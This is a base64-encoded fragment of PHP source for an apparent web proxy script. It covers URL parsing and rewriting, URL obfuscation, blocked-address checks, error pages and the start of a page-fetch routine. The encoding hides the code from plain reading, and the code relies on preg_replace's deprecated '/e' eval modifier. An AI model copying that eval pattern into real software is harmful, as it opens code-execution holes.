XNzLCRzZXJ2ZXJuYW1lLCRwb3J0dmFsLCRwYXRoLCRmaWxlLCRxdWVyeSwkbGFiZWw7DQoNCglmdW5jdGlvbiBhdXJsKCR1cmwsJHRvcHVybD1udWxsKXsNCg0KCQlpZihzdHJsZW4oJHVybCk+TUFYSU1VTV9VUkxfTEVOR1RIKSAkdGhpcy0+dXJsPW51bGw7DQoJCWVsc2UgJHRoaXMtPnVybD1wcmVnX3JlcGxhY2UoJy8mIyhbMC05XSspOy9lJywnY2hyKFwxKScsdHJpbShzdHJfcmVwbGFjZSgnJmFtcDsnLCcmJyxzdHJfcmVwbGFjZShjaHIoMTMpLG51bGwsc3RyX3JlcGxhY2UoY2hyKDEwKSxudWxsLCR1cmwpKSkpKTsNCgkJJHRoaXMtPnRvcHVybD0kdG9wdXJsOw0KDQoJCSR0aGlzLT5kZXRlcm1pbmVfbG9ja2VkKCk7DQoJCWlmKCR0aGlzLT5sb2NrZWQpIHJldHVybjsNCg0KCQkkdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXByZWdfbWF0Y2goVVJMUkVHLCR0aGlzLT51cmwpKXsNCgkJCSR1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKCR0aGlzLT50b3B1cmw9PW51bGwpICR0aGlzLT51cmw9J2h0dHA6Ly8nLigoJHRoaXMtPnVybHswfT09JzonIHx8ICR0aGlzLT51cmx7MH09PScvJyk/c3Vic3RyKCR0aGlzLT51cmwsMSk6JHRoaXMtPnVybCkuKHN0cnBvcygkdGhpcy0+dXJsLCcvJykhPT1mYWxzZT9udWxsOicvJyk7DQoJCQkjaWYoJHRoaXMtPnRvcHVybD09bnVsbCkgJHRoaXMtPnVybD0naHR0cDovLycucHJlZ19yZXBsYWNlKCIvXjo/XC97MCwyfS8iLCIiLCR0aGlzLT51cmwpLihzdHJwb3MoJHRoaXMtPnVybCwnLycpIT09ZmFsc2U/bnVsbDonLycpOw0KCQkJZWxzZXsNCgkJCQkkbmV3dXJsPSR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpLiR0aGlzLT5nZXRfZmllbGRyZXEoMiwkdGhpcy0+dG9wdXJsLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPnRvcHVybC0+Z2V0X3NlcnZlcm5hbWUoKS4oKCR0aGlzLT50b3B1cmwtPmdldF9wb3J0dmFsKCkhPTgwICYmICgkdGhpcy0+dG9wdXJsLT5nZXRfcHJvdG8oKT09J2h0dHBzJz8kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyc6Jy4kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpOm51bGwpOw0KCQkJCWlmKCR0aGlzLT51cmx7MH0hPScvJykgJG5ld3VybC49JHRoaXMtPnRvcHVybC0+Z2V0X3BhdGgoKTsNCgkJCQkkdGhpcy0+dXJsPSRuZXd1cmwuJHRoaXMtPnVybDsNCgkJCX0NCgkJfQ0KDQoJCSR0aGlzLT5zZXRfcHJvdG8oKCR1cmx3YXN2YWxpZCB8fCAkdGhpcy0+dG9wdXJsPT1udWxsP3ByZWdfcmVwbGFjZSgnL14oW146XC9dKikuKiQvJywnXDEnLCR0aGlzLT51cmwpOiR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpKSk7DQoJCSR0aGlzLT5zZXRfdXNlcnBhc3MocHJlZ19yZXBsYWNlKFVSTFJFRywnXDInLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9zZXJ2ZXJuYW1lKHByZWdfcmVwbGFjZShVUkxSRUcsJ1wzJywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcG9ydHZhbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcNCcsJHRoaXMtPnVybCkpOw0KCQkkdGhpcy0+c2V0X3BhdGgocHJlZ19yZXBsYWNlKFVSTFJFRywnXDUnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9maWxlKHByZWdfcmVwbGFjZShVUkxSRUcsJ1w2JywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcXVlcnkocHJlZ19yZXBsYWNlKFVSTFJFRywnXDcnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9sYWJlbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcOCcsJHRoaXMtPnVybCkpOw0KDQoJCWlmKCEkdGhpcy0+bG9ja2VkICYmICFwcmVnX21hdGNoKFVSTFJFRywkdGhpcy0+dXJsKSkgaGF2b2soNywkdGhpcy0+dXJsKTsgIyoNCgl9DQoNCglmdW5jdGlvbiBkZXRlcm1pbmVfbG9ja2VkKCl7ICR0aGlzLT5sb2NrZWQ9cHJlZ19tYXRjaChBVVJMX0xPQ0tfUkVHRVhQLCR0aGlzLT51cmwpPjA7IH0gIyoNCg0KCWZ1bmN0aW9uIGdldF9maWVsZHJlcSgkZmllbGRubywkdmFsdWUpew0KCQkkZmllbGRyZXFzPWFycmF5KDIgPT4gJzovLycuKCR2YWx1ZSE9bnVsbD8iJHZhbHVlQCI6bnVsbCksIDQgPT4gKCR2YWx1ZSE9bnVsbCAmJiBpbnR2YWwoJHZhbHVlKSE9ODA/JzonLmludHZhbCgkdmFsdWUpOm51bGwpLCA3ID0+ICgkdmFsdWUhPW51bGw/Ij8kdmFsdWUiOm51bGwpLCA4ID0+ICgkdmFsdWUhPW51bGw/IiMkdmFsdWUiOm51bGwpKTsNCgkJaWYoIWFycmF5X2tleV9leGlzdHMoJGZpZWxkbm8sJGZpZWxkcmVxcykpIHJldHVybiAoZW1wdHkoJHZhbHVlKT9udWxsOiR2YWx1ZSk7DQoJCWVsc2UgcmV0dXJuICRmaWVsZHJlcXNbJGZpZWxkbm9dOw0KCX0NCg0KCWZ1bmN0aW9uIHNldF9wcm90bygkcHJvdG89JycpeyBpZigkdGhpcy0+bG9ja2VkKSByZXR1cm47ICR0aGlzLT5wcm90bz0oIWVtcHR5KCRwcm90byk/JHByb3RvOidodHRwJyk7IH0NCglmdW5jdGlvbiBnZXRfcHJvdG8oKXsgcmV0dXJuICR0aGlzLT5wcm90bzsgfQ0KCWZ1bmN0aW9uIGdldF91c2VycGFzcygpeyByZXR1cm4gJHRoaXMtPnVzZXJwYXNzOyB9DQoJZnVuY3Rpb24gc2V0X3VzZXJwYXNzKCR1c2VycGFzcz1udWxsKXsgJHRoaXMtPnVzZXJwYXNzPSR1c2VycGFzczsgfQ0KCWZ1bmN0aW9uIGdldF9zZXJ2ZXJuYW1lKCl7IHJldHVybiAkdGhpcy0+c2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIHNldF9zZXJ2ZXJuYW1lKCRzZXJ2ZXJuYW1lPW51bGwpeyAkdGhpcy0+c2VydmVybmFtZT0kc2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIGdldF9wb3J0dmFsKCl7IHJldHVybiAoZW1wdHkoJHRoaXMtPnBvcnR2YWwpPygkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JzQ0Myc6JzgwJyk6JHRoaXMtPnBvcnR2YWwpOyB9DQoJZnVuY3Rpb24gc2V0X3BvcnR2YWwoJHBvcnQ9bnVsbCl7ICR0aGlzLT5wb3J0dmFsPXN0cnZhbCgoaW50dmFsKCRwb3J0KSE9ODApPyRwb3J0Om51bGwpOyB9DQoJZnVuY3Rpb24gZ2V0X3BhdGgoKXsNCgkJaWYoc3RycG9zKCR0aGlzLT5wYXRoLCcvLi4vJykhPT1mYWxzZSkgJHRoaXMtPnBhdGg9cHJlZ19yZXBsYWNlKCcvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy8nLCcvJywkdGhpcy0+cGF0aCk7DQoJCWlmKHN0cnBvcygkdGhpcy0+cGF0aCwnLy4vJykhPT1mYWxzZSkgd2hpbGUoKCRwYXRoPXN0cl9yZXBsYWNlKCcvLi8nLCcvJywkdGhpcy0+cGF0aCkpICYmICRwYXRoIT0kdGhpcy0+cGF0aCkgJHRoaXMtPnBhdGg9JHBhdGg7DQoJCXJldHVybiAkdGhpcy0+cGF0aDsNCgl9DQoJZnVuY3Rpb24gc2V0X3BhdGgoJHBhdGg9bnVsbCl7ICR0aGlzLT5wYXRoPShlbXB0eSgkcGF0aCk/Jy8nOiRwYXRoKTsgfQ0KCWZ1bmN0aW9uIGdldF9maWxlKCl7IHJldHVybiAkdGhpcy0+ZmlsZTsgfQ0KCWZ1bmN0aW9uIHNldF9maWxlKCRmaWxlPW51bGwpeyAkdGhpcy0+ZmlsZT0kZmlsZTsgfQ0KCWZ1bmN0aW9uIGdldF9xdWVyeSgpeyByZXR1cm4gJHRoaXMtPnF1ZXJ5OyB9DQoJZnVuY3Rpb24gc2V0X3F1ZXJ5KCRxdWVyeT1udWxsKXsgJHRoaXMtPnF1ZXJ5PSRxdWVyeTsgfQ0KCWZ1bmN0aW9uIGdldF9sYWJlbCgpeyByZXR1cm4gJHRoaXMtPmxhYmVsOyB9DQoJZnVuY3Rpb24gc2V0X2xhYmVsKCRsYWJlbD1udWxsKXsgJHRoaXMtPmxhYmVsPSRsYWJlbDsgfQ0KDQoJZnVuY3Rpb24gZ2V0X3VybCgkd2l0aGxhYmVsPXRydWUpew0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHRoaXMtPnVybDsNCgkJcmV0dXJuICR0aGlzLT5nZXRfcHJvdG8oKS4nOi8vJy4NCgkJICAgICAgICgkdGhpcy0+Z2V0X3VzZXJwYXNzKCk9PW51bGw/bnVsbDokdGhpcy0+Z2V0X3VzZXJwYXNzKCkuJ0AnKS4NCgkJICAgICAgICR0aGlzLT5nZXRfc2VydmVybmFtZSgpLg0KCQkgICAgICAgKCgkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcycgJiYgaW50dmFsKCR0aGlzLT5nZXRfcG9ydHZhbCgpKT09NDQzKSB8fCBpbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpPT04MD9udWxsOic6Jy5pbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpKS4NCgkJICAgICAgICR0aGlzLT5nZXRfcGF0aCgpLiR0aGlzLT5nZXRfZmlsZSgpLg0KCQkgICAgICAgKCR0aGlzLT5nZXRfcXVlcnkoKT09bnVsbD9udWxsOic/Jy4kdGhpcy0+Z2V0X3F1ZXJ5KCkpLg0KCQkgICAgICAgKCR3aXRobGFiZWwgJiYgJHRoaXMtPmdldF9sYWJlbCgpPT1udWxsP251bGw6JyMnLiR0aGlzLT5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCWZ1bmN0aW9uIHN1cnJvZ2FmeSgpew0KCQkkbGFiZWw9JHRoaXMtPmdldF9sYWJlbCgpOw0KCQkkdGhpcy0+c2V0X2xhYmVsKCk7DQoJCSR1cmw9JHRoaXMtPmdldF91cmwoKTsNCgkJJHRoaXMtPnNldF9sYWJlbCgkbGFiZWwpOw0KDQoJCSMkdGhpcy0+ZGV0ZXJtaW5lX2xvY2tlZCgpOw0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHVybDsNCgkJIyB8fCAkdGhpcy0+Z2V0X3Byb3RvKCkuJHRoaXMtPmdldF9maWVsZHJlcSgyLCR0aGlzLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPmdldF9zZXJ2ZXJuYW1lKCkuJHRoaXMtPmdldF9wYXRoKCkuJHRoaXMtPmdldF9maWxlKCk9PVRISVNfU0NSSVBUKSByZXR1cm4gJHVybDsNCg0KCQlpZihFTkNSWVBUX1VSTFMgJiYgISR0aGlzLT5sb2NrZWQpICR1cmw9cHJveGVuYygkdXJsKTsNCgkJIyR1cmw9VEhJU19TQ1JJUFQuJz89Jy4oIUVOQ1JZUFRfVVJMUz91cmxlbmNvZGUoJHVybCk6JHVybCkuKCFlbXB0eSgkbGFiZWwpPyIjJGxhYmVsIjpudWxsKTsgIyB1cmxlbmNvZGVkDQoJCSR1cmw9VEhJU19TQ1JJUFQuIj89eyR1cmx9Ii4oIWVtcHR5KCRsYWJlbCk/IiMkbGFiZWwiOm51bGwpOw0KCQlyZXR1cm4gJHVybDsNCgl9DQp9IA0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogVVJMIFBBUlNJTkcge3t7DQpmdW5jdGlvbiBzdXJyb2dhZnlfdXJsKCR1cmwsJHRvcHVybD1mYWxzZSwkYWRkcHJveHk9dHJ1ZSl7DQoJZ2xvYmFsICRjdXJyX3VybG9iajsNCgkvL2lmKHByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2lzJywkdXJsKT4wKXsNCglpZigoJHVybHswfT09JyInICYmIHN1YnN0cigkdXJsLC0xKT09JyInKSB8fCAoJHVybHswfT09J1wnJyAmJiBzdWJzdHIoJHVybCwtMSk9PSdcJycpKXsNCgkJJHVybHF1b3RlPSR1cmx7MH07DQoJCSR1cmw9c3Vic3RyKCR1cmwsMSxzdHJsZW4oJHVybCktMik7DQoJfQ0KCWlmKCR0b3B1cmw9PT1mYWxzZSkgJHRvcHVybD0kY3Vycl91cmxvYmo7DQoJJHVybG9iaj1uZXcgYXVybCgkdXJsLCR0b3B1cmwpOw0KCSRuZXdfdXJsPSgkYWRkcHJveHk/JHVybG9iai0+c3Vycm9nYWZ5KCk6JHVybG9iai0+Z2V0X3VybCgpKTsNCglpZighZW1wdHkoJHVybHF1b3RlKSkgJG5ld191cmw9InskdXJscXVvdGV9eyRuZXdfdXJsfXskdXJscXVvdGV9IjsNCglyZXR1cm4gJG5ld191cmw7DQp9DQoNCmZ1bmN0aW9uIGZyYW1pZnlfdXJsKCR1cmwsJGZyYW1lX3R5cGU9ZmFsc2Upew0KCWlmKCgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FX1RPUCB8fCAhVVJMX0ZPUk0pICYmICgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FRF9QQUdFICYmICFQQUdFX0ZSQU1FRCkpIHJldHVybiAkdXJsOw0KCS8vaWYocHJlZ19tYXRjaCgnL14oWyJcJ10pLipcMSQvaXMnLCR1cmwpPjApew0KCWlmKCgkdXJsezB9PT0nIicgJiYgc3Vic3RyKCR1cmwsLTEpPT0nIicpIHx8ICgkdXJsezB9PT0nXCcnICYmIHN1YnN0cigkdXJsLC0xKT09J1wnJykpew0KCQkkdXJscXVvdGU9JHVybHswfTsNCgkJJHVybD1zdWJzdHIoJHVybCwxLHN0cmxlbigkdXJsKS0yKTsNCgl9DQoJaWYocHJlZ19tYXRjaChGUkFNRV9MT0NLX1JFR0VYUCwkdXJsKTw9MCl7DQoJCWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVfVE9QICYmIFVSTF9GT1JNKSAkcXVlcnk9JyY9JzsNCgkJZWxzZWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEKSAkcXVlcnk9Jy4mPSc7DQoJCWVsc2VpZigkZnJhbWVfdHlwZT09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VfRlJBTUVEKSAkcXVlcnk9J18mPSc7DQoJCWVsc2UgJHF1ZXJ5PW51bGw7DQoJCSR1cmw9cHJlZ19yZXBsYWNlKCcvXihbXlw/XSopW1w/XT8nLlBBR0VUWVBFX01JTklSRUdFWFAuJyhbXiNdKj9bI10/Lio/KSQvJywiXFwxPz17JHF1ZXJ5fVxcMyIsJHVybCwxKTsNCgl9DQoJaWYoIWVtcHR5KCR1cmxxdW90ZSkpICR1cmw9InskdXJscXVvdGV9eyR1cmx9eyR1cmxxdW90ZX0iOw0KCXJldHVybiAkdXJsOw0KfQ0KDQpmdW5jdGlvbiBwcm94ZW5jKCR1cmwpew0KCWlmKCR1cmx7MH09PSd+JyB8fCBzdHJ0b2xvd2VyKHN1YnN0cigkdXJsLDAsMykpPT0nJTdlJykgcmV0dXJuICR1cmw7DQoJJHVybD11cmxlbmNvZGUoJHVybCk7DQoJJG5ld191cmw9bnVsbDsNCglmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCSRjaGFyPW9yZCgkdXJseyRpfSk7DQoJCSRjaGFyKz1vcmQoc3Vic3RyKFNFU1NfUFJFRiwkaSVzdHJsZW4oU0VTU19QUkVGKSwxKSk7DQoJCXdoaWxlKCRjaGFyPjEyNikgJGNoYXItPTk0Ow0KCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgl9DQoJI3JldHVybiAnficuYmFzZTY0X2VuY29kZSgkbmV3X3VybCk7DQoJcmV0dXJuICd+Jy51cmxlbmNvZGUoYmFzZTY0X2VuY29kZSgkbmV3X3VybCkpOw0KfQ0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogRVJST1JTICYgRVhJVElORyB7e3sNCg0KZnVuY3Rpb24gZmluaXNoX25vZXhpdCgpew0KCWdsb2JhbCAkZG5zX2NhY2hlX2FycmF5Ow0KCSMgc2F2ZSBETlMgQ2FjaGUgYmVmb3JlIGV4aXRpbmcNCgkkX1NFU1NJT05bJ0ROU19DQUNIRV9BUlJBWSddPSRkbnNfY2FjaGVfYXJyYXk7DQp9DQoNCmZ1bmN0aW9uIGZpbmlzaCgpew0KCWZpbmlzaF9ub2V4aXQoKTsNCglleGl0KCk7DQp9DQoNCmZ1bmN0aW9uIGhhdm9rKCRlcnJvcm5vLCRhcmcxPW51bGwsJGFyZzI9bnVsbCwkYXJnMz1udWxsKXsNCglnbG9iYWwgJGN1cnJfdXJsOw0KCSR1cmw9JGN1cnJfdXJsOw0KCXN3aXRjaCgkZXJyb3Jubyl7DQoJCWNhc2UgMToNCgkJCSRldD0nQmFkIElQIEFkZHJlc3MnOw0KCQkJJGVkPSJUaGUgSVAgYWRkcmVzcyBnaXZlbiAoeyRhcmcyfSkgaXMgYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLCBvciB0aGUgZG9tYWluIGdpdmVuICh7JGFyZzF9KSB3YXMgcmVzb2x2ZWQgdG8gYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLiI7DQoJCQlicmVhazsNCgkJY2FzZSAyOg0KCQkJJGV0PSdBZGRyZXNzIGlzIEJsb2NrZWQnOw0KCQkJJGVkPSJUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IHNlcnZpY2UgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBhZGRyZXNzLCBkb21haW4sIG9yIHN1Ym5ldC5cbjxiciAvPjxiciAvPlxuRG9tYWluOiB7JGFyZzF9XG48YnIgLz5cbkFkZHJlc3M6IHskYXJnMn0iOw0KCQkJYnJlYWs7DQoJCWNhc2UgMzoNCgkJCSRldD0nQ291bGQgTm90IFJlc29sdmUgRG9tYWluJzsNCgkJCSRlZD0iVGhlIGRvbWFpbiBvZiB0aGUgVVJMIGdpdmVuICh7JGFyZzF9KSBjb3VsZCBub3QgYmUgcmVzb2x2ZWQgZHVlIHRvIEROUyBpc3N1ZXMgb3IgYW4gZXJyb3JuZW91cyBkb21haW4gbmFtZS4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNDoNCgkJCSRldD0nQmFkIEZpbHRlcnMnOw0KCQkJJGVkPSdUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IGhhcyBpbmNvcnJlY3RseSBjb25maWd1cmVkIGhpcyBkb21haW4gZmlsdGVycywgb3IgYSBkb21haW4gZ2l2ZW4gY291bGQgbm90IGJlIHJlc29sdmVkLic7DQoJCQlicmVhazsNCgkJY2FzZSA1Og0KCQkJJGV0PSdEb21haW4gaXMgQmxvY2tlZCc7DQoJCQkkZWQ9J1RoZSBhZG1pbmlzdHJhdG9yIG9mIHRoaXMgcHJveHkgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBkb21haW4uJzsNCgkJCWJyZWFrOw0KCQljYXNlIDY6DQoJCQkkZXQ9J0NvdWxkIE5vdCBDb25uZWN0IHRvIFNlcnZlcic7DQoJCQkkZWQ9IkFuIGVycm9yIGhhcyBvY2N1cnJlZCB3aGlsZSBhdHRlbXB0aW5nIHRvIGNvbm5lY3QgdG8gXCJ7JGFyZzF9XCIgb24gcG9ydCBcInskYXJnMn1cIi4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNzoNCgkJCSRldD0nSW52YWxpZCBVUkwnOw0KCQkJJGVkPSdUaGUgVVJMIGJlbG93IHdhcyBkZXRlY3RlZCB0byBiZSBhbiBpbnZhbGlkIFVSTC4nOw0KCQkJJHVybD0kYXJnMTsNCgkJCWJyZWFrOw0KCX0NCgkkZWQuPSJcbjxiciAvPjxiciAvPlxuVVJMOiZuYnNwO3skdXJsfSI7DQo/Pg0KPGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6IGJpdHN0cmVhbSB2ZXJhIHNhbnMsIHRyZWJ1Y2hldCBtcyI+PGRpdiBzdHlsZT0iYm9yZGVyOiAzcHggc29saWQgI0ZGRkZGRjsgcGFkZGluZzogMnB4Ij4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYm9yZGVyOiAxcHggc29saWQgIzYwMjAyMDsgcGFkZGluZzogMXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGIj4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYmFja2dyb3VuZC1jb2xvcjogIzgwMTAxMDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtd2VpZ2h0OiBib2xkOyBmb250LXNpemU6IDU0cHg7IHBhZGRpbmc6IDJweDsgcGFkZGluZy1sZWZ0OiAxMnB4OyBwYWRkaW5nLXJpZ2h0OiAxMnB4Ij4hPC9kaXY+DQoJPC9kaXY+DQoJPGRpdiBzdHlsZT0iZmxvYXQ6IGxlZnQ7IHdpZHRoOiA1MDBweDsgcGFkZGluZy1sZWZ0OiAyMHB4Ij4NCgkJPGRpdiBzdHlsZT0iYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwMDAwMDA7IGZvbnQtc2l6ZTogMTJwdDsgdGV4dC1hbGlnbjogY2VudGVyOyBmb250LXdlaWdodDogYm9sZDsgcGFkZGluZzogMnB4Ij5FcnJvcjogPD9waHAgZWNobygkZXQpOyA/PjwvZGl2Pg0KCQk8ZGl2IHN0eWxlPSJwYWRkaW5nOiA2cHgiPjw/cGhwIGVjaG8oJGVkKTsgPz48L2Rpdj4NCgk8L2Rpdj4NCjwvZGl2PjwvZGl2Pg0KPD9waHAgZmluaXNoKCk7IH0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlM6IFRDUC9JUCB7e3sNCg0KZnVuY3Rpb24gaXBiaXR0ZXIoJGlwYWRkcil7DQoJJGlwc3BsaXQ9ZXhwbG9kZSgnLicsJGlwYWRkcik7DQoJZm9yKCRpPTA7JGk8NDskaSsrKXsNCgkJJGlwc3BsaXRbJGldPWRlY2JpbigkaXBzcGxpdFskaV0pOw0KCQkkaXBzcGxpdFskaV09c3RyX3JlcGVhdCgnMCcsOC1zdHJsZW4oJGlwc3BsaXRbJGldKSkuJGlwc3BsaXRbJGldOw0KCX0NCglyZXR1cm4gaW1wbG9kZShudWxsLCRpcHNwbGl0KTsNCn0NCg0KZnVuY3Rpb24gaXBjb21wYXJlKCRpcHJhbmdlLCRpcCl7DQoJJGlwcmFycj1zcGxpdCgnLycsJGlwcmFuZ2UpOw0KCSRpcGFkZHI9JGlwcmFyclswXTsNCgkkbWFzaz0kaXByYXJyWzFdOw0KCSRtYXNrYml0cz1zdHJfcmVwZWF0KCcxJywkbWFzaykuc3RyX3JlcGVhdCgnMCcsJG1hc2spOw0KCSRpcGJpdHM9aXBiaXR0ZXIoJGlwYWRkcik7DQoJJGlwYml0czI9aXBiaXR0ZXIoJGlwKTsNCglyZXR1cm4gKCgkaXBiaXRzICYgJG1hc2tiaXRzKT09KCRpcGJpdHMyICYgJG1hc2tiaXRzKSk7DQp9DQoNCmZ1bmN0aW9uIGlwX2NoZWNrKCRpcCwkbWFzaz1mYWxzZSl7DQoJJGlwc2VnPScoPzpbMDFdP1swLTldezEsMn18Mig/OjVbMC01XXxbMC00XVswLTldKSknOw0KCXJldHVybiBwcmVnX21hdGNoKCIvXig/OiRpcHNlZ1wuKXswLDN9JGlwc2VnIi4oJG1hc2s/J1wvWzAtOV17MSwyfSc6bnVsbCkuJyQvaScsJGlwKTsgIyoNCn0NCg0KZnVuY3Rpb24gZ2V0aG9zdGJ5bmFtZV9jYWNoZWl0KCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCgkkaXBhZGRyPWdldGhvc3RieW5hbWUoJGFkZHJlc3MpOw0KCSRkbnNfY2FjaGVfYXJyYXlbJGFkZHJlc3NdPWFycmF5KCd0aW1lJz0+dGltZSgpLCAnaXBhZGRyJz0+JGlwYWRkcik7DQoJcmV0dXJuICRpcGFkZHI7DQp9DQoNCmZ1bmN0aW9uIGdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCglpZihpc3NldCgkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXSkpIHJldHVybiAkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXVsnaXBhZGRyJ107DQoJcmV0dXJuIGdldGhvc3RieW5hbWVfY2FjaGVpdCgkYWRkcmVzcyk7DQp9DQoNCmZ1bmN0aW9uIGdldF9jaGVjaygkYWRkcmVzcyl7DQoJZ2xvYmFsICRibG9ja2VkX2FkZHJlc3NlczsNCglpZihzdHJyY2hyKCRhZGRyZXNzLCcvJykpICRhZGRyZXNzPXN1YnN0cihzdHJyY2hyKCRhZGRyZXNzLCcvJyksMSk7DQoJJGlwYz1pcF9jaGVjaygkYWRkcmVzcyk7DQoJJGFkZHJlc3NpcD0oaXBfY2hlY2soJGFkZHJlc3MpPyRhZGRyZXNzOmdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKSk7DQoJaWYoIWlwX2NoZWNrKCRhZGRyZXNzaXApKSBoYXZvaygxLCRhZGRyZXNzLCRhZGRyZXNzaXApOw0KCWZvcmVhY2goJGJsb2NrZWRfYWRkcmVzc2VzIGFzICRiYWRkKXsNCgkJaWYoISRpcGMpIGlmKHN0cmxlbigkYmFkZCk8PXN0cmxlbigkYWRkcmVzcykgJiYgc3Vic3RyKCRhZGRyZXNzLHN0cmxlbigkYWRkcmVzcyktc3RybGVuKCRiYWRkKSxzdHJsZW4oJGJhZGQpKT09JGJhZGQpIGhhdm9rKDUpOw0KCQlpZigkYmFkZD09JGFkZHJlc3NpcCkgaGF2b2soMiwkYWRkcmVzcywkYWRkcmVzc2lwKTsNCgkJZWxzZWlmKGlwX2NoZWNrKCRiYWRkLHRydWUpKXsgaWYoaXBjb21wYXJlKCRiYWRkLCRhZGRyZXNzaXApKSBoYXZvaygyLCRhZGRyZXNzLCRhZGRyZXNzaXApOyB9DQoJCWVsc2V7DQoJCQkkYmFkZGlwPWdldGhvc3RieW5hbWVfY2FjaGVkKCRiYWRkKTsNCgkJCWlmKGVtcHR5KCRiYWRkaXApKSBoYXZvayg0KTsNCgkJCWlmKCRiYWRkaXA9PSRhZGRyZXNzaXApIGhhdm9rKDIsJGFkZHJlc3MsJGFkZHJlc3NpcCk7DQoJCX0NCgl9DQoJcmV0dXJuICRhZGRyZXNzaXA7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBIVFRQIHt7ew0KDQpmdW5jdGlvbiBodHRwY2xlYW4oJHN0cil7IHJldHVybiBzdHJfcmVwbGFjZSgnICcsJysnLHByZWdfcmVwbGFjZSgnLyhbXiI6XC1fXC4wLTlhLXogXSkvaWUnLCdcJyVcJy4oc3RybGVuKGRlY2hleChvcmQoXCdcMVwnKSkpPT0xP1wnMFwnOm51bGwpLnN0cnRvdXBwZXIoZGVjaGV4KG9yZChcJ1wxXCcpKSknLCRzdHIpKTsgfQ0KDQpmdW5jdGlvbiBnZXRwYWdlKCR1cmwpew0KCWdsb2JhbCAkaGVhZGVycywkb3V0LCRwb3N0X3ZhcnMsJHByb3h5X3ZhcmlhYmxlcywkcmVmZXJlcjsNCg0KCSR1cmxvYmo9bmV3IGF1cmwoJHVybCk7DQoJJHF1ZXJ5PSR1cmxvYmotPmdldF9xdWVyeSgpOw0KCSRyZXF1cmw9JHVybG9iai0+Z2V0X3BhdGgoKS4kdXJsb2JqLT5nZXRfZmlsZSgpLighZW1wdHkoJHF1ZXJ5KT8iP3skcXVlcnl9IjpudWxsKTsNCg0KCSRodHRwX2F1dGg9bnVsbDsNCglpZihleHRlbnNpb25fbG9hZGVkKCdhcGFjaGUnKSl7DQoJCSRmYWlsPWZhbHNlOw0KCQkkY2hlYWRlcnM9Z2V0YWxsaGVhZGVycygpOw0KCQkkaHR0cF9hdXRoPSRyZXFhcnJheVsnQXV0aG9yaXphdGlvbiddOw0KCX0NCgllbHNlICRmYWlsPXRydWU7DQoNCgkkYXV0aG9yaXphdGlvbj0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQVVUSE9SSVpBVElPTiddOiRjaGVhZGVyc1snQXV0aG9yaXphdGlvbiddKTsNCgkkY2FjaGVfY29udHJvbD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQ0FDSEVfQ09OVFJPTCddOiRjaGVhZGVyc1snQ2FjaGUtQ29udHJvbCddKTsNCgkkaWZfbW9kaWZpZWQ9KCRmYWlsPyRfU0VSVkVSWydIVFRQX0lGX01PRElGSUVEX1NJTkNFJ106JGNoZWFkZXJzWydJZi1N